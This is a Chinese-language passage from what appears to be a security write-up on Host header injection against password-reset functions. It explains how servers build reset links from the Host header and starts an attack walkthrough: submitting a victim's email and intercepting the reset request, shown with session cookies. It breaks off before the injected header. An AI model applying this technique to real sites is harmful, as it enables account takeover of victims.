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在 HTTP 请求中，Host 头用于指定目标服务器的域名。当用户发出请求时，服务器通常会使用 Host 头来决定请求的处理方式，例如生成重置密码链接时，服务器需要知道应该发送到哪个域名。
正文
首先，在忘记密码功能中输入受害者的邮箱地址，并拦截请求：
POST /auth/realms/example/login-actions/reset-credentials?session_code=AbcdiQqKwDBsJcdIjZpAFW3&client_id=account&tab_id=Abcdii7y9i3qwXs HTTP/1.1
Host: login.example.com
Cookie: AUTH_SESSION_ID=fc59cdd34026abcd; KC_RESTART=AbcdiSldUIiiaXNFs
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-w
